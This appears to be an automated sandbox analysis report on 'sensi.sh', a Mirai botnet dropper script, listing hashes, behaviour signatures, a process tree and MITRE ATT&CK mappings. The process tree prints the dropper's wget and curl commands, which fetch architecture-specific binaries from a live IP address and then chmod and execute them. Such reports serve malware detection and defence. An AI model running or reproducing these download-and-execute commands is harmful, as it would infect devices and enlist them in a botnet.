Analysis
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max time kernel
60s -
max time network
154s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
15-01-2025 06:58
Static task
static1
Behavioral task
behavioral1
Sample
sensi.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
sensi.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
sensi.sh
Resource
debian9-mipsbe-20240729-en
General
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Target
sensi.sh
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Size
1KB
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MD5
b56a0716f8b4b73b0e35ebd7b66c03fa
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SHA1
d9711b6f58091fd794bf341dd7237136436a4a74
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SHA256
81bceab3472a818b061caa7d8d0bab3171bed77a3b5b86ceffae3fd2d16be12b
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SHA512
8bf2d0b7cd72d77fa84ab03edc5ac7e217bd122ffabbe370d3f5a10333e22ea44ab0c151c2b76dd9f819341b0eb0f48acce2b0c2b7391bc8a19e44df0c6e23aa
Malware Config
Extracted
mirai
LZRD
Signatures
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Mirai family
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Contacts a large (192661) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 10 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1494 chmod 1518 chmod 1529 chmod 1542 chmod 1603 chmod 1507 chmod 1555 chmod 1568 chmod 1580 chmod 1592 chmod -
Executes dropped EXE 10 IoCs
ioc pid Process /tmp/SSH 1495 SSH /tmp/SSH 1508 SSH /tmp/SSH 1519 SSH /tmp/SSH 1530 SSH /tmp/SSH 1543 SSH /tmp/SSH 1556 SSH /tmp/SSH 1569 SSH /tmp/SSH 1581 SSH /tmp/SSH 1593 SSH /tmp/SSH 1604 SSH -
Modifies Watchdog functionality 1 TTPs 20 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog SSH File opened for modification /dev/watchdog SSH File opened for modification /dev/misc/watchdog SSH File opened for modification /dev/misc/watchdog SSH File opened for modification /dev/misc/watchdog SSH File opened for modification /dev/watchdog SSH File opened for modification /dev/misc/watchdog SSH File opened for modification /dev/watchdog SSH File opened for modification /dev/misc/watchdog SSH File opened for modification /dev/watchdog SSH File opened for modification /dev/misc/watchdog SSH File opened for modification /dev/watchdog SSH File opened for modification /dev/misc/watchdog SSH File opened for modification /dev/watchdog SSH File opened for modification /dev/misc/watchdog SSH File opened for modification /dev/watchdog SSH File opened for modification /dev/watchdog SSH File opened for modification /dev/watchdog SSH File opened for modification /dev/misc/watchdog SSH File opened for modification /dev/watchdog SSH -
Enumerates active TCP sockets 1 TTPs 10 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH -
Enumerates running processes
Discovers information about currently running processes on the system
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resource yara_rule behavioral1/files/fstream-2.dat upx -
Reads system network configuration 1 TTPs 10 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH File opened for reading /proc/net/tcp SSH -
description ioc Process File opened for reading /proc/514/fd SSH File opened for reading /proc/1139/fd SSH File opened for reading /proc/267/fd SSH File opened for reading /proc/1533/fd SSH File opened for reading /proc/1535/fd SSH File opened for reading /proc/658/fd SSH File opened for reading /proc/1589/fd SSH File opened for reading /proc/1227/fd SSH File opened for reading /proc/461/fd SSH File opened for reading /proc/955/fd SSH File opened for reading /proc/1524/fd SSH File opened for reading /proc/1142/fd SSH File opened for reading /proc/1072/fd SSH File opened for reading /proc/1130/fd SSH File opened for reading /proc/456/fd SSH File opened for reading /proc/438/fd SSH File opened for reading /proc/1520/fd SSH File opened for reading /proc/1125/fd SSH File opened for reading /proc/1570/fd SSH File opened for reading /proc/1513/fd SSH File opened for reading /proc/1481/fd SSH File opened for reading /proc/1102/exe SSH File opened for reading /proc/1321/fd SSH File opened for reading /proc/1/fd SSH File opened for reading /proc/1177/fd SSH File opened for reading /proc/1457/fd SSH File opened for reading /proc/1239/fd SSH File opened for reading /proc/1168/fd SSH File opened for reading /proc/1473/exe SSH File opened for reading /proc/936/fd SSH File opened for reading /proc/1054/fd SSH File opened for reading /proc/1177/fd SSH File opened for reading /proc/461/fd SSH File opened for reading /proc/1274/fd SSH File opened for reading /proc/506/exe SSH File opened for reading /proc/1182/fd SSH File opened for reading /proc/1172/fd SSH File opened for reading /proc/1598/fd SSH File opened for reading /proc/1284/fd SSH File opened for reading /proc/1559/fd SSH File opened for reading /proc/1135/fd SSH File opened for reading /proc/1168/fd SSH File opened for reading /proc/1239/fd SSH File opened for reading /proc/594/fd SSH File opened for reading /proc/944/fd SSH File opened for reading /proc/457/fd SSH File opened for reading /proc/1057/fd SSH File opened for reading /proc/1170/fd SSH File opened for reading /proc/1149/fd SSH File opened for reading /proc/1585/fd SSH File opened for reading /proc/947/fd SSH File opened for reading /proc/1565/fd SSH File opened for reading /proc/440/fd SSH File opened for reading /proc/955/fd SSH File opened for reading /proc/1051/fd SSH File opened for reading /proc/1254/fd SSH File opened for reading /proc/955/fd SSH File opened for reading /proc/1499/fd SSH File opened for reading /proc/1113/fd SSH File opened for reading /proc/449/fd SSH File opened for reading /proc/955/fd SSH File opened for reading /proc/1138/fd SSH File opened for reading /proc/1177/fd SSH File opened for reading /proc/1605/fd SSH -
System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1499 wget 1503 curl -
Writes file to tmp directory 21 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/xd.arm6 wget File opened for modification /tmp/xd.m68k wget File opened for modification /tmp/xd.m68k curl File opened for modification /tmp/xd.sh4 wget File opened for modification /tmp/xd.x86 curl File opened for modification /tmp/xd.mpsl curl File opened for modification /tmp/xd.arm4 curl File opened for modification /tmp/xd.arm5 curl File opened for modification /tmp/xd.ppc wget File opened for modification /tmp/xd.ppc curl File opened for modification /tmp/xd.sh4 curl File opened for modification /tmp/xd.mips curl File opened for modification /tmp/xd.arm5 wget File opened for modification /tmp/xd.arm7 curl File opened for modification /tmp/xd.mips wget File opened for modification /tmp/xd.x86 wget File opened for modification /tmp/SSH sensi.sh File opened for modification /tmp/xd.mpsl wget File opened for modification /tmp/xd.arm6 curl File opened for modification /tmp/xd.arm7 wget File opened for modification /tmp/busybox cp
Processes
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/tmp/sensi.sh/tmp/sensi.sh1⤵
- Writes file to tmp directory
PID:1478 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
PID:1479
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/usr/bin/wgetwget http://45.13.151.59/d/xd.x862⤵
- Writes file to tmp directory
PID:1480
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/usr/bin/curlcurl -O http://45.13.151.59/d/xd.x862⤵
- Writes file to tmp directory
PID:1491
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/bin/catcat xd.x862⤵PID:1493
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/bin/chmodchmod +x busybox config-err-wyp2Uv netplan_gsm552c4 sensi.sh snap-private-tmp SSH ssh-zLJyRkZwfWgF systemd-private-ab3d93cdee204eac989d9d97b6faf745-bolt.service-pXNYLF systemd-private-ab3d93cdee204eac989d9d97b6faf745-colord.service-dMsLxG systemd-private-ab3d93cdee204eac989d9d97b6faf745-ModemManager.service-XU1dQA systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-resolved.service-xYf2P0 systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-timedated.service-F19Xkn xd.x862⤵
- File and Directory Permissions Modification
PID:1494
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/tmp/SSH./SSH2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1495
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/usr/bin/wgetwget http://45.13.151.59/d/xd.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1499
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/usr/bin/curlcurl -O http://45.13.151.59/d/xd.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1503
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/bin/chmodchmod +x busybox config-err-wyp2Uv netplan_gsm552c4 sensi.sh snap-private-tmp SSH ssh-zLJyRkZwfWgF systemd-private-ab3d93cdee204eac989d9d97b6faf745-bolt.service-pXNYLF systemd-private-ab3d93cdee204eac989d9d97b6faf745-colord.service-dMsLxG systemd-private-ab3d93cdee204eac989d9d97b6faf745-ModemManager.service-XU1dQA systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-resolved.service-xYf2P0 systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-timedated.service-F19Xkn xd.mips xd.x862⤵
- File and Directory Permissions Modification
PID:1507
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/tmp/SSH./SSH2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1508
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/usr/bin/wgetwget http://45.13.151.59/d/xd.mpsl2⤵
- Writes file to tmp directory
PID:1512
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/usr/bin/curlcurl -O http://45.13.151.59/d/xd.mpsl2⤵
- Writes file to tmp directory
PID:1516
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/bin/chmodchmod +x busybox config-err-wyp2Uv netplan_gsm552c4 sensi.sh snap-private-tmp SSH ssh-zLJyRkZwfWgF systemd-private-ab3d93cdee204eac989d9d97b6faf745-bolt.service-pXNYLF systemd-private-ab3d93cdee204eac989d9d97b6faf745-colord.service-dMsLxG systemd-private-ab3d93cdee204eac989d9d97b6faf745-ModemManager.service-XU1dQA systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-resolved.service-xYf2P0 systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-timedated.service-F19Xkn xd.mips xd.mpsl xd.x862⤵
- File and Directory Permissions Modification
PID:1518
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/tmp/SSH./SSH2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1519
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/usr/bin/wgetwget http://45.13.151.59/d/xd.arm42⤵PID:1523
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/usr/bin/curlcurl -O http://45.13.151.59/d/xd.arm42⤵
- Writes file to tmp directory
PID:1527
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/bin/chmodchmod +x busybox config-err-wyp2Uv netplan_gsm552c4 sensi.sh snap-private-tmp SSH ssh-zLJyRkZwfWgF systemd-private-ab3d93cdee204eac989d9d97b6faf745-bolt.service-pXNYLF systemd-private-ab3d93cdee204eac989d9d97b6faf745-colord.service-dMsLxG systemd-private-ab3d93cdee204eac989d9d97b6faf745-ModemManager.service-XU1dQA systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-resolved.service-xYf2P0 systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-timedated.service-F19Xkn xd.arm4 xd.mips xd.mpsl xd.x862⤵
- File and Directory Permissions Modification
PID:1529
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/tmp/SSH./SSH2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1530
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/usr/bin/wgetwget http://45.13.151.59/d/xd.arm52⤵
- Writes file to tmp directory
PID:1534
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/usr/bin/curlcurl -O http://45.13.151.59/d/xd.arm52⤵
- Writes file to tmp directory
PID:1540
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/bin/chmodchmod +x busybox config-err-wyp2Uv netplan_gsm552c4 sensi.sh snap-private-tmp SSH ssh-zLJyRkZwfWgF systemd-private-ab3d93cdee204eac989d9d97b6faf745-bolt.service-pXNYLF systemd-private-ab3d93cdee204eac989d9d97b6faf745-colord.service-dMsLxG systemd-private-ab3d93cdee204eac989d9d97b6faf745-ModemManager.service-XU1dQA systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-resolved.service-xYf2P0 systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-timedated.service-F19Xkn xd.arm4 xd.arm5 xd.mips xd.mpsl xd.x862⤵
- File and Directory Permissions Modification
PID:1542
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/tmp/SSH./SSH2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1543
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/usr/bin/wgetwget http://45.13.151.59/d/xd.arm62⤵
- Writes file to tmp directory
PID:1547
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/usr/bin/curlcurl -O http://45.13.151.59/d/xd.arm62⤵
- Writes file to tmp directory
PID:1551
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/bin/chmodchmod +x busybox config-err-wyp2Uv netplan_gsm552c4 sensi.sh snap-private-tmp SSH ssh-zLJyRkZwfWgF systemd-private-ab3d93cdee204eac989d9d97b6faf745-bolt.service-pXNYLF systemd-private-ab3d93cdee204eac989d9d97b6faf745-colord.service-dMsLxG systemd-private-ab3d93cdee204eac989d9d97b6faf745-ModemManager.service-XU1dQA systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-resolved.service-xYf2P0 systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-timedated.service-F19Xkn xd.arm4 xd.arm5 xd.arm6 xd.mips xd.mpsl xd.x862⤵
- File and Directory Permissions Modification
PID:1555
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/tmp/SSH./SSH2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1556
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/usr/bin/wgetwget http://45.13.151.59/d/xd.arm72⤵
- Writes file to tmp directory
PID:1560
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/usr/bin/curlcurl -O http://45.13.151.59/d/xd.arm72⤵
- Writes file to tmp directory
PID:1566
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/bin/chmodchmod +x busybox config-err-wyp2Uv netplan_gsm552c4 sensi.sh snap-private-tmp SSH ssh-zLJyRkZwfWgF systemd-private-ab3d93cdee204eac989d9d97b6faf745-bolt.service-pXNYLF systemd-private-ab3d93cdee204eac989d9d97b6faf745-colord.service-dMsLxG systemd-private-ab3d93cdee204eac989d9d97b6faf745-ModemManager.service-XU1dQA systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-resolved.service-xYf2P0 systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-timedated.service-F19Xkn xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.x862⤵
- File and Directory Permissions Modification
PID:1568
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/tmp/SSH./SSH2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1569
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/usr/bin/wgetwget http://45.13.151.59/d/xd.ppc2⤵
- Writes file to tmp directory
PID:1573
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/usr/bin/curlcurl -O http://45.13.151.59/d/xd.ppc2⤵
- Writes file to tmp directory
PID:1577
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/bin/chmodchmod +x busybox config-err-wyp2Uv netplan_gsm552c4 sensi.sh snap-private-tmp SSH ssh-zLJyRkZwfWgF systemd-private-ab3d93cdee204eac989d9d97b6faf745-bolt.service-pXNYLF systemd-private-ab3d93cdee204eac989d9d97b6faf745-colord.service-dMsLxG systemd-private-ab3d93cdee204eac989d9d97b6faf745-ModemManager.service-XU1dQA systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-resolved.service-xYf2P0 systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-timedated.service-F19Xkn xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.ppc xd.x862⤵
- File and Directory Permissions Modification
PID:1580
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/tmp/SSH./SSH2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1581
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/usr/bin/wgetwget http://45.13.151.59/d/xd.m68k2⤵
- Writes file to tmp directory
PID:1586
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/usr/bin/curlcurl -O http://45.13.151.59/d/xd.m68k2⤵
- Writes file to tmp directory
PID:1590
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/bin/chmodchmod +x busybox config-err-wyp2Uv netplan_gsm552c4 sensi.sh snap-private-tmp SSH ssh-zLJyRkZwfWgF systemd-private-ab3d93cdee204eac989d9d97b6faf745-bolt.service-pXNYLF systemd-private-ab3d93cdee204eac989d9d97b6faf745-colord.service-dMsLxG systemd-private-ab3d93cdee204eac989d9d97b6faf745-ModemManager.service-XU1dQA systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-resolved.service-xYf2P0 systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-timedated.service-F19Xkn xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.x862⤵
- File and Directory Permissions Modification
PID:1592
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/tmp/SSH./SSH2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1593
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/usr/bin/wgetwget http://45.13.151.59/d/xd.sh42⤵
- Writes file to tmp directory
PID:1597
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/usr/bin/curlcurl -O http://45.13.151.59/d/xd.sh42⤵
- Writes file to tmp directory
PID:1601
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/bin/chmodchmod +x busybox config-err-wyp2Uv netplan_gsm552c4 sensi.sh snap-private-tmp SSH ssh-zLJyRkZwfWgF systemd-private-ab3d93cdee204eac989d9d97b6faf745-bolt.service-pXNYLF systemd-private-ab3d93cdee204eac989d9d97b6faf745-colord.service-dMsLxG systemd-private-ab3d93cdee204eac989d9d97b6faf745-ModemManager.service-XU1dQA systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-resolved.service-xYf2P0 systemd-private-ab3d93cdee204eac989d9d97b6faf745-systemd-timedated.service-F19Xkn xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.sh4 xd.x862⤵
- File and Directory Permissions Modification
PID:1603
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/tmp/SSH./SSH2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Reads system network configuration
- Reads runtime system information
PID:1604
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
29KB
MD5cb02e84a85813c662f7191cc1d19685f
SHA159ad600226c432b1b8c3a077be7a6c280c2da1a1
SHA2563aff058d7b58eb91ccde83818aae5dd597aae06d96ab89c080c0a3d88f877f31
SHA512ea9bea2cb21045791f611089d04714ef109dfc77d462763811bd4ce0dfeae93e7b6bd26637ccfc32e840504de17bf7da45ec29f0639f724de77ea985226e2f82
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Filesize
2.0MB
MD5b4dede5fc0b1bad5cb8e901bde126b97
SHA110cbe9a418ad84a1ed297948539d37aeb58dd810
SHA256a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
SHA51245665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6